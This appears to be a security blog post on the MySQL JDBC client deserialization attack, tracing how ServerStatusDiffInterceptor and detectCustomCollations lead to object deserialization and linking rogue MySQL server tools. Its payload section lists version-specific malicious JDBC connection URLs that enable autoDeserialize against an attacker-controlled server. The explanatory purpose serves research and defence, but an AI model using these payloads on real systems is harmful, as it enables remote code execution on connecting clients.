MySQL JDBC Attack

Mysql JDBC Attack

Introduction

When connecting to a database through JDBC, there are several steps to follow:

  • Import JDBC package
  • Register JDBC Driver
  • Establish a connection
  • Execute the Query
  • Close all database resource
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import java.sql.*;

public class main {
static final String JDBC_DRIVER = "com.mysql.jdbc.Driver";
static final String DB_URL = "jdbc:mysql://localhost:3306/";

static final String USER = "root";
static final String PASS = "root";
public static void main(String[] args) {
Connection conn = null;
Statement stmt = null;
try{
Class.forName(JDBC_DRIVER);
System.out.println("Connecting to database...");
conn = DriverManager.getConnection(DB_URL, USER, PASS);
System.out.println("Creating database...");
stmt = conn.createStatement();
String sql = "CREATE DATABASE STUDENTS";
stmt.executeUpdate(sql);
System.out.println("Database created successfully...");
}catch(SQLException se){
se.printStackTrace();
}catch(Exception e){
e.printStackTrace();
}finally{
try{
if(stmt!=null)
stmt.close();
}catch(SQLException se2){

}
try{
if(conn!=null)
conn.close();
}catch(SQLException se){
se.printStackTrace();
}
}
System.out.println("Goodbye!");
}
}

When connecting to the MySQL server through JDBC, there will be several built-in SQL query statements to be executed, and the result sets of two queries will be deserialized by calling ObjectInputStream.readObject() when the MySQL client is processed. If an attacker builds a malicious MySQL server to control the result sets of these two queries, and the attacker can control the JDBC connection settings, then the MySQL JDBC client deserialization vulnerability can be triggered.

Code Analysing

ServerStatusDiffInterceptor

When we set a queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor in the JDBC connection URL, it will call the interceptor’s preProcess and postProcess methods automatically.

Following the populateMapWithSessionStatusValues, we can find we execute a query: SHOW SESSION STATUS

Following the resultSetToMap, we can find we call the getObject

In ResultMapImpl#getObject, we deserialize a object.

So if we can control the mysql server return a evil data stream we can RCE in the client side.

detectCustomCollations

If this option is set to “true”, the driver will obtain the actual character set/sorting rules from the server every time a connection is established.

But it has a strict version limitation.

EXP

Tools

https://github.com/rmb122/rogue_mysql_server

https://github.com/fnmsd/MySQL_Fake_Server

Payloads

ServerStatusDiffInterceptor

  • 8.x <= 8.0.20

    jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

  • 6.x

    queryInterceptors => statementInterceptors

    jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

  • >= 5.1.11

    without cj

    jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

  • 5.x <= 5.1.10

    Same as the last one, but need a additional query after connection

detectCustomCollations

  • 5.1.29~5.1.40

    jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true

  • 5.1.19~5.1.28

    jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true

Reference

https://p4d0rn.gitbook.io/java/serial-journey/mysql

https://drun1baby.top/2023/01/13/MySQL-jdbc-反序列化分析/